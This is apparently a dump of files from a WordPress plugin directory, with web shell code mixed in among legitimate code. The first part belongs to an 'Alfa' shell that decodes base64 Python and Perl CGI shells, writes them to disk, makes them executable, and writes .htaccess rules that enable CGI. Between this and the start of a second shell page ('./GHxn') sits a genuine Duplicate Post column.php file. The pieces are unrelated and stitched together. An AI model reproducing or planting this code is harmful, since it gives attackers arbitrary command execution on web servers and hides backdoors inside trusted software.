hvYnk5SmU0TmI3N0dsVStFTThEMGdyR1lWQ3NCN1dUU3NzTVlKOTlEaEdvQ2Q0L1kxQWd0T3dKeG9MOFRkVDY3YVYyUy91VzhvM2dsaTV0ZTQ3ZnVwOUc4UFRrTmFEVnhYLzJKajQ3ZTFNYkNJM2s3N3NpWVpYVnMyZG9BNjdHNWlOZnRaSG1HNklWeEpNdktOZHhsVU11WXJPNnpBUitmcmU1NHVGdEFLNitoUmFiQUFLMHpCa2wwZHBKWE5EanNmdWh4T3JDdTNKQjRZU3AwVHI2VDZkVzY1d0tkTHE3UUdjQk0yOGFkSUpZWUxJczV3bjBJVktMZ2tEU0pUVGNhTmRsd0NPQ2xJeVRyeUI5NzJVcFlUa2kvM0hYOWVuYk5mUzJiQmpyZkQ2S29QM05SOGdTN0c4a1dGeW9pSGZ6Z3A1UVVtdUozcU1raGxyQytnRkhPejN4WER0K1FTZWdxRVVXL0lBLzJteHFPeEtvd3dYOVZSak9GS01FczhJekFjWDJMRDJlVEM0bmt6Y084bkZuQzdsWXkyMGpqWmExS1FSNnRSS3hCWTlZVFY2WUcwaGxPZjR4amU3TG9KbjVSSmJrSjhoRHQwbTVZVTlielo3TCsyYlUxRFdEUVo1T01FdWRwaGM2ejNHR1R3L05wYnIwWUN6MVVWU2ZOQlBKNndUTWwvTmkrVVVoZTVYYWlHMnFqQmo5VUlJM3dmTmxBVUdLVXhGL1d0QUVacnlndFlsQklqTVI0UERIVFF1dHRHN1JQanBDUUlLN1dyMkYzWGpVTzRUVkd3cUVRRUhaSzlnd3R0aDlrc25TdWhYaWlKQTJrNXZ0NGE3akJHamo0TkNQYzZkQUEzYTBLS09CRHZFRHg1MkhFT0NyV25zSWJtOElEVC9ENzI3eHF5eGI0UzJRdFRZYldOQkd1S3dscWtIRWJUamNZa05JSGlJbzhnY0RiUGZaMXd2d1RnTGNZZmFDQU1pTkVIUUR6OWdkcXk2Y1Y0Z3dPaGxQVHJkazlXNXhqVk12RVZET2hQWmd3b1FOdTI2UGtuOTlONlQ3K01GMUtweEVRb05lb25vQjFCWXJTVlZnMHdJZVpSWEhvaXhSK0dhSTY2ZC9HcEZMOTA5cWVBa0lZNXczUFVNNGRZN3E1WENiQVI2MFhTbnJKWGZmZmMydTJ6MHN4UFBCNTlpMlprWk5lallwUGlvT0ZPQThjcDBPWGcxYSthbTVvRGFWNEZWM0dNS0l4aWJGRjlaVVl0YUNwTDhEeVNUY2cwcStXTndHS2JUdUozZlBoKzVwQVhkQnIxNXhlOEZ0OE95QWNRMk1yR1pocFVRWnMwS0VRdUViNFpjUFYxRGRCZlFHQ0hjYnU5dnR6dlpZL3pGcXZxT21CSk1YS2hXbWdvRFdCblBvL2M4ZnJ5bGhNZnAxQVVIZnZmc2crTXU1MnpHSTJ6R28zL3dhSHB3U3J3WGRYMzV4R2ZZN2V5OGdlL1FZSDByQVR4VGkyckNKS2RtWDR2M1pnSnVUNzkrdnhsdWh5eVZkZnFYZ29UQnIvMzJSVStvVkFDdTBpak9KYlFzQ0dXdVZTSlBEOEQwM2dteDBCWWtPSDk5QU1PdG9BcEVMN3V3Wms1blVqMURYOFdaYm5YN1FPZlEvSEJVbXh6YTR5OHhEU2JnYnUzOG1HZitQMkFPU2Qwd09MMmNKcTdCMW1nNDRzK3dQSjRUZlZST2NuSFZYTVBpWXdCbUVqdDArSDlBUHpjUEpMYlo3MGJwSU5iem5DWE85QnZja2h6RWZPZTVOUHRTenFWbWEzZGJtdzdlVmpGRk1jZGg5YWFIYTZvUnJsWVQ1Ylg2NGZ2Zmp3am5JdGNPYjhkMFFNWUM3ZHhEZWJtdkZmZGY1ZDdZdGlmMzAzRSs0T2gyOGxuK3hpTDVBeEQ2WDRGTnV0Mmp0TW03a2RpNmMvTEI5NGlxS3o4amd2MTFOVlpvPSIpKSwnPHN0cmluZz4nLCdleGVjJykp';
	$file = fopen("py.alfa" ,"w+");
	$write = fwrite ($file ,base64_decode($pythonp));
	fclose($file);
	chmod("py.alfa",0755);
	echo '<center><p>Alfa Python Cgi Olusturuldu! Asagidaki Baglantiya Tiklayabilirsiniz :)</p><a href=alfacgi1/py.alfa target="_blank">Alfa Python Cgi</a></center>';
}
if(isset($_POST['cgi6'])){
	mkdir("alfacgi2");
	chdir("alfacgi2");
	$kokdosya = ".htaccess";
	$dosya_adi = "$kokdosya";
	$dosya = fopen($dosya_adi,'w');
	$metin = "#Coded By Sole Sad & Invisible\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .alfa\nAddHandler cgi-script .alfa";    
	fwrite($dosya,$metin);
	fclose($dosya);
	$pythonp = 'IyEvdXNyL2Jpbi9wZXJsICAgLUkvdXNyL2xvY2FsL2JhbmRtaW4KdXNlIE1JTUU6OkJhc2U2NDt1c2UgQ29tcHJlc3M6OlpsaWI7ZXZhbChDb21wcmVzczo6WmxpYjo6bWVtR3VuemlwKGRlY29kZV9iYXNlNjQoIkg0c0lBQUFBQUFBQS82VVpEWGZUUnZLdkxCdGhTUkJidGt0YXpySmNRdUpBM2lVaGx4anU5YUpnWkdsdDcwT1dWSDJRcE1iOTdUZXp1N0trRUtDMHlVT1JadWQ3Wm1kbWx5Smo1UFQ0ZER3WXZQUXk5dk16dXdEQUVRK1pCRVRlaWduUXdVMUFkRytXVFJNdlgrcTI1aS80Tk9BcGNRZzhFY3NvRncydGE1cTI5bDhlblUxZ3VXdHJaNU9EVlhESkV2aWlMV3ByYnlOK1cwRnNnQnpFcTVVWEJSTytZbkdSSHhhcGwvTTRndFVla0Y4dTQ1dkRPNURCL1RkRm5oUTV3bTBOdEJLQzRXdkI4akJlOEloOC9venZ5VTNCQTBNYm12aE52WER1b1loU29LRlUrNVZVaWcxSVRTbFRJSitEd1hWazZnY1U4R2h5RTFEQU9BZEw3L09qcml0UUxFUzRZT0FZNXVkeDJzUWgvVkdyUjNxalZsL2c0bHRQd0lBb0syYmtnbm5CdVplQ3k5ZGg3SHNoTVo3d3lBUWVMNmFFeitGcEs3REdkNGtHNy9EOHlPN2crY2tMUWU1cEVlWTg4ZEw4S0U1WGgxN3VBYWsyUG51MzFnL2VuRTNHWjVQcDVMZnpzYjRoenAvRVdwWElyalVIOUhZQStEYVp4VVVVZU9tZFkzU2VtcHBsODdraE9WeU0vL04yZkRtWm5vNG5yOThjQWcvMk82R3Z4aE5xcmpVZWJRVUIwc1Z2MDh2SnhmSFpLMzFqYjFpWWZadkYrWnRMNUpHQzZjYmw1UEQ0REt6aDBlNDl2VS9HWjY4bXIvV05hVysyN1A2dVRhRHdTd1VCdGZWMlcrOW9QZnRGeURQTXJpd0plVzVZV3hSTDZBUE9mUTBhc3ZSbEhDQ1ZodGhYdmVzbUdEUndVemZDZjUvaFQyU1Z5MGp4d2RaS1lyMTgvWk5rZ2tLekFKVkhhMzBPdXcrVlJudUlRS3BZQUhkY3hyeDNYSXEydUxRa2svaTkycGRnVFMxcmNSK1dJUXk4QTBuazlHMWxpY2F2NFpVL2ZRck9LUUVTLzMzbnFaQW9WS3d2QVhmRHZWRktRQllxQlNBVGxZbmlEVmtZNzQyR1cwenpzd0JvOEtXWlFzVXQ3bU9qMHpHdHhQTS9HdFNudTJUSmJnMnRaNXJXZ2dsRFVKS3dGU2pzRGFZWFc3OFErYWNDMXlvREJpWXl6MS9DQnpHNnBOTWgyZzZBTVZrcjQ5eW5GZ0h4Um0wWFZad2N5UW14ZDBuZlZFWitWOGtmTktVRFpkRHRVdHpmUnNEbVBHSlF2c3BWTEtaMVRHWDFCb3ZGMnlTTXZRREw5ZHBmeG9taFRid1VDdUFaQk1zVTNHb0FkTmhCa2FZc3lnOTVhcUorSyt2S2RWM3JHdmE0TmttOUtKdXpGSm1KdFVmRzFYdnJ2ZXRlUHpHMVIzYWRFU3FoNmgvdUdyV0VoSmY4RDVURG85eUFKRjFnTTJobXRFa3NxT245WnlZV2xUaGhrZkgyL09UTi91SFI4Y2w0bDlCUlRRdzF6ZldNUjZzNFlEVWtZWmFzcG5hU2dpQlNyWkY3d213L2pMTUdzU0tocGJFc0lQZTEvL2ZMamh0UmhhaFBsb3dnUTBMMXprejF3NGFYT3pvbE4xNUdDaEVKNEpjVnZzK3liRjZFNFYxSGw4bXBwQjU1cUJyMG1rZlVsdkU3eHdVVXJRSUo5WXFzTlN4YldKV0dQc1NLcGFPaEFNUVJVS3g0N3RCOHliT08vT2dFUFBObXdOWEowNExaWWlYb1FJWVV6Sm5sc1djVUVjdDhMMkVHaTN6dzVOdUxZK2kxU1J3Qlo2T09iVUthVVFKSStWM0NITG90b2xVTnBXVEY4bVVjT0xKY0U4L0hIdTJBWTdSTFArVkpmZ0o5Q1VIZ2t0RXc5R1lzSkVEc1VPV2FGS0JaNGtXRUE0dnBkSTZ1TEJJQVdnZ2RrV0dXcDNHMEdMV2lXWmJZOG5td2pDR0N4Qk14QUVTSk1iUUU5OUdRUnpnTlpQbGRDQ3FESjVMUXV4dEVZQnlZZ2xLMmtzRjUvdEtMRm9nVys4VUtyTzlBQk1jaHc5ZVhkOGVCNGVwYm5WemQ3UEFvWXVucnllbUpJN3lFOHJPcjduVkhERVNVU0M4aGxCSlJHdW1ja2d6eXg2RS83ZEZTTTdraUkxWFNsRjh5UmtyRkxZWEVXZklnWUZISk9kZ2lnNnVySFN6Yy9IVXE3MHNSSXBid1I2V1ZMaHI3Rkt3U1RUaGxlWkZHb2czakN4RnBhTmNUV0VHcXpEMzNGa3gycHJVMkZ2a1ZWUG8xNjQzOUVJSm9ERmZ2dmZZZisrMy9kZHYvdWpZdC9iSGVLU0paTUY4L29idFFMQzIyS1BmdFFReWFSM2tiRFI2UW5OM20xakpmaGRoUXRsdDJpSkRSY0FsNmpZWTV6ME0yT2tEQlpIWkg5aytPOXNtRTdaK1NOamw0ZFV6T1dSb09MWWswRkhrMGVyS0dDVFNFRWl3VGFiT3pUWXYxSFB5WUQwaktGOHZjamoreEZBQTNBK2wyMjQvRE9CM3M5UGZtODI3WHZ1RkJ2aHowbm5XVFc3dE1UQ2lMeUxjOWc2SHRvNDNLdDdkTUNBdERubVE4czIrV1BHZHQyQkkrV0JqRk42bVgyQnVSNytzVmxCMGV0WVg4QVpSUjRBMzBPWWR4c08yRmZCRU55QXFVQ1prOWkxTUlDdUFrdHlTTFF4NFFLSFgyREx5NlNIR21BZDloQllRTkR0NEU3TnQydHZRQzFLTUx2OCtBYXFjNy9xbjdiRjl4YXFkZXdJdHNnRXZLTnRMZlF3Vit4QXkvU0RQd0VVbGlqZ240RmNkSVk0bmM2K3U2em1pRGlrSEk1bm1wU0U5NFlpTzJ3cFhZQ25LUFhhK1Z3RkplblpjSTdzTnVrcEVrY1lvRjR5RUhiSGI4VmJEK1c5eEszLzJDS2o4UXp3ZWtKVjRROEdqUlZrN0tjcWpLQTdMMzVRcERUUkMrd2FCQWFEM1l5bGlUbEg2TnZLNXBYMU8rRkZ6VHBXN1B6cEg0S1FVUGVqOERta3I4dmVmKzN0N3pNdkc3M2NmVkR2R0tQTFkzV0w1eGd3MHR1VFZuT1AzR0VkYW1iMVZsY0RYVzR6a2daQWIycU5sQ1NIVG9UbGY4UUdHTkUrbEtoOElYcGtidFU3NEt0V3JmUzRaT0Z3QjBGakNUcGtHVnJKb3VWQk1sQ2dKSlIxZGtPS3RLQ1hpRWtjd0xTQXZTOXhQUE9IUmg4cWNBcTY4WGl4VTAvSTRmcjRiV2JFU3VzZjVHZVZWL2h6bDJiaUxkN05BZURCSlNTL1FlSlQ3c0pkdy80R2loSjM0cnh6dTBENHJteUNKb0VDbXQ1N0RySFBxT3BZRVhlV1ZmUWhKUW8ySFhUcjgvN3ZlZmk1WExTbk55c09DcU5zNUdTbTBDdFRlQzh5eFluOGNFbXo1TEljQTRCSFYwaVpjSCtNREcwbXdSUjNFTTlwWlRrTko3UkR1dEI4WWZZOXVIT3JUaUNBLzBGZnpGck1FVXdocFBhM0xVRGNJSkpQZ3hGZ0xrdGRiT1V4aDI4RVJYbmI5clBXbEV4QkVjNGlybUVqbEg2Q3FmdXovOUFpNjFkZEJ6ZTlXQUtvbGg1Y1gzS0dyT29kV0E4eVZOZnpabnZUMmdxYWxWNGwrN0dxRjJOUTJpTTJZL1BBM0tsZVc5SmVqOGpWV1lsaHhYWDhKT1d6ZG1TRmVIU0t1N25vN3U2aHV4NnYvUWhPbFhFK1kvblUrM285YVBqS0ovYTdJQ2dFd2VTTzQ2QTZ3V0pia3ZwMHlvVU52WnIvc1haekpmcHVzOTdISTJiTTZOaW1RMG9vM1pXRDYvUzcrVVNrWmlCZzY1LzlHaEVIdy9qdVljZHB1cjc2ZU0zTVVGbkZ2ZzVWZElBSlVCUUNRU1FrNkFSQTJGY3c4KzdLMU9yMk00cDFXREpXVG9QeG9xbTllQWErRDBTRzVjYysyRkhxamJOYXRKVUtBU2R1c3poaVY1NWQzeVZiRWlPUkNUR002SVg3bFR6QmpZSGhpWldaN0J4cmZNTDNKV01seHZXdHNyT1B0ZU9tMXZ1QzRQTG83UEo5T3ovZE14SEROcnU3M0NHRis4RzE5c01acW5hMUpleDlpYVROMFNoSWRXN2FLSVNtVWNFakRjRnRPWnVKeVZwMmtmcjhDMHhxRDlBRmFBV1BKU29JSDZRVjF1ZnNDVGRHTU40MFhGd2J5aEFsNFR2SGV6SjM3Z1prL3h4Z2t2ejJDd2dCT2l2Tzc1TG9GOW4wTEd2M2xGcWk1b096V292ZEhlaE1FRFI0bktQZFFQaUZ1djZTNkY2cXRZNGFLU1d3R1YrVjl4aldUOHdiUTNyWHNuSEx5L3dYdmZ2OVJSdGgzRGZWRlBqaHFtTE83M1d1SXc0Si9LQnFHR1E1eG1CbjBjeC9TUkdEK2s1WU9IdW9tYU1VVURxZ0t5YlVDeVNZT0kwVEQ1dHFqR1lGb0tMNGRLa3NZM21hUDN1enJKRXBoSi9DV0RvcUtMeWdDaVJUcW9yTWFNVXFkUGM5MnFMcXZLQlBpTGNhd2JVMCtQZW4zUUxvOWZyZlg5azR0VGNRM3F0cHJiMzViMTR5dEZRZDBvZi9FZkRjRDJzOU9yOGczdjZjaG5hb3VMS3dXVW1MdmJlbVBpMFNka3hyQ3hQZ0pXVTNYZ3hSdlExSTFNdkUxVkNhQk44UUM3QVduZFJuR3NNbEpvK0dVMTNHektGTExLK0pReHRwTGFTRWJ0MWxmSEpMdDFiMUt6L3c4d2JsUytGUm9BQUE9PSIpKSk7';
	$file = fopen("perl.alfa" ,"w+");
	$write = fwrite ($file ,base64_decode($pythonp));
	fclose($file);
	chmod("perl.alfa",0755);
	echo '<center><p>Alfa Python Perl Olusturuldu! Asagidaki Baglantiya Tiklayabilirsiniz :)</p><a href=alfacgi2/perl.alfa target="_blank">Alfa Perl Cgi</a></center>';
}
if(isset($_POST['cgi7'])){
	mkdir("pythoncgi");
	chdir("pythoncgi");
	$kokdosya = ".htaccess";
	$dosya_adi = "$kokdosya";
	$dosya = fopen($dosya_adi,'w');
	$metin = "AddHandler cgi-script .izo";    
	fwrite($dosya,$metin);
	fclose($dosya);
	$pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
	$file = fopen("python.izo" ,"w+");
	$write = fwrite ($file ,base64_decode($pythonp));
	fclose($file);
	chmod("python.izo",0755);
	echo '<center><p>Python Cgi Olusturuldu! Asagidaki Baglantiya Tiklayabilirsiniz :)</p><a href=pythoncgi/python.izo target="_blank">Python Cgi</a></center>';
}
?>src/ui/column.php000064400000036103151327062330007763 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\UI;

use WP_Post;
use Yoast\WP\Duplicate_Post\Permissions_Helper;
use Yoast\WP\Duplicate_Post\Utils;

/**
 * Duplicate Post class to manage the custom column + quick edit.
 */
class Column {

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Holds the asset manager.
	 *
	 * @var Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Initializes the class.
	 *
	 * @param Permissions_Helper $permissions_helper The permissions helper.
	 * @param Asset_Manager      $asset_manager      The asset manager.
	 */
	public function __construct( Permissions_Helper $permissions_helper, Asset_Manager $asset_manager ) {
		$this->permissions_helper = $permissions_helper;
		$this->asset_manager      = $asset_manager;
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( \intval( \get_option( 'duplicate_post_show_original_column' ) ) === 1 ) {
			$enabled_post_types = $this->permissions_helper->get_enabled_post_types();
			if ( \count( $enabled_post_types ) ) {
				foreach ( $enabled_post_types as $enabled_post_type ) {
					\add_filter( "manage_{$enabled_post_type}_posts_columns", [ $this, 'add_original_column' ] );
					\add_action( "manage_{$enabled_post_type}_posts_custom_column", [ $this, 'show_original_item' ], 10, 2 );
				}
				\add_action( 'quick_edit_custom_box', [ $this, 'quick_edit_remove_original' ], 10, 2 );
				\add_action( 'admin_enqueue_scripts', [ $this, 'admin_enqueue_scripts' ] );
				\add_action( 'admin_enqueue_scripts', [ $this, 'admin_enqueue_styles' ] );
			}
		}
	}

	/**
	 * Adds Original item column to the post list.
	 *
	 * @param array $post_columns The post columns array.
	 *
	 * @return array The updated array.
	 */
	public function add_original_column( $post_columns ) {
		if ( \is_array( $post_columns ) ) {
			$post_columns['duplicate_post_original_item'] = \__( 'Original item', 'duplicate-post' );
		}
		return $post_columns;
	}

	/**
	 * Sets the text to be displayed in the Original item column for the current post.
	 *
	 * @param string $column_name The name for the current column.
	 * @param int    $post_id     The ID for the current post.
	 *
	 * @return void
	 */
	public function show_original_item( $column_name, $post_id ) {
		if ( $column_name === 'duplicate_post_original_item' ) {
			$column_content = '-';
			$data_attr      = ' data-no-original="1"';
			$original_item  = Utils::get_original( $post_id );
			if ( $original_item ) {
				$post      = \get_post( $post_id );
				$data_attr = '';

				if ( $post instanceof WP_Post
					&& $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
					$data_attr = ' data-copy-is-for-rewrite-and-republish="1"';
				}

				$column_content = Utils::get_edit_or_view_link( $original_item );
			}
			echo \sprintf(
				'<span class="duplicate_post_original_link"%s>%s</span>',
				$data_attr, // phpcs:ignore WordPress.Security.EscapeOutput
				$column_content // phpcs:ignore WordPress.Security.EscapeOutput
			);
		}
	}

	/**
	 * Adds original item checkbox + edit link in the Quick Edit.
	 *
	 * @param string $column_name The name for the current column.
	 *
	 * @return void
	 */
	public function quick_edit_remove_original( $column_name ) {
		if ( $column_name !== 'duplicate_post_original_item' ) {
			return;
		}
		\printf(
			'<fieldset class="inline-edit-col-left" id="duplicate_post_quick_edit_fieldset">
			<div class="inline-edit-col">
				<input type="checkbox"
				name="duplicate_post_remove_original"
				id="duplicate-post-remove-original"
				value="duplicate_post_remove_original"
				aria-describedby="duplicate-post-remove-original-description">
				<label for="duplicate-post-remove-original">
					<span class="checkbox-title">%s</span>
				</label>
				<span id="duplicate-post-remove-original-description" class="checkbox-title">%s</span>
			</div>
		</fieldset>',
			\esc_html__(
				'Delete reference to original item.',
				'duplicate-post'
			),
			\wp_kses(
				\__(
					'The original item this was copied from is: <span class="duplicate_post_original_item_title_span"></span>',
					'duplicate-post'
				),
				[
					'span' => [
						'class' => [],
					],
				]
			)
		);
	}

	/**
	 * Enqueues the Javascript file to inject column data into the Quick Edit.
	 *
	 * @param string $hook The current admin page.
	 *
	 * @return void
	 */
	public function admin_enqueue_scripts( $hook ) {
		if ( $hook === 'edit.php' ) {
			$this->asset_manager->enqueue_quick_edit_script();
		}
	}

	/**
	 * Enqueues the CSS file to for the Quick edit
	 *
	 * @param string $hook The current admin page.
	 *
	 * @return void
	 */
	public function admin_enqueue_styles( $hook ) {
		if ( $hook === 'edit.php' ) {
			$this->asset_manager->enqueue_styles();
		}
	}
}
?>
<?php
set_time_limit(0);
error_reporting(0);

if(get_magic_quotes_gpc()){
    foreach($_POST as $key=>$value){
        $_POST[$key] = stripslashes($value);
    }
}
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
	<link rel="shortcut icon" href="http://blog.ub.ac.id/fawzy/files/2013/12/Indonesia-flag.gif" />
<title>./GHxn</title>
<style>
body{
font-family: "verdana";
font-size:12px;
background-color: black;
color:silver;
}
#content .first{
background-color: #333;
}
table{
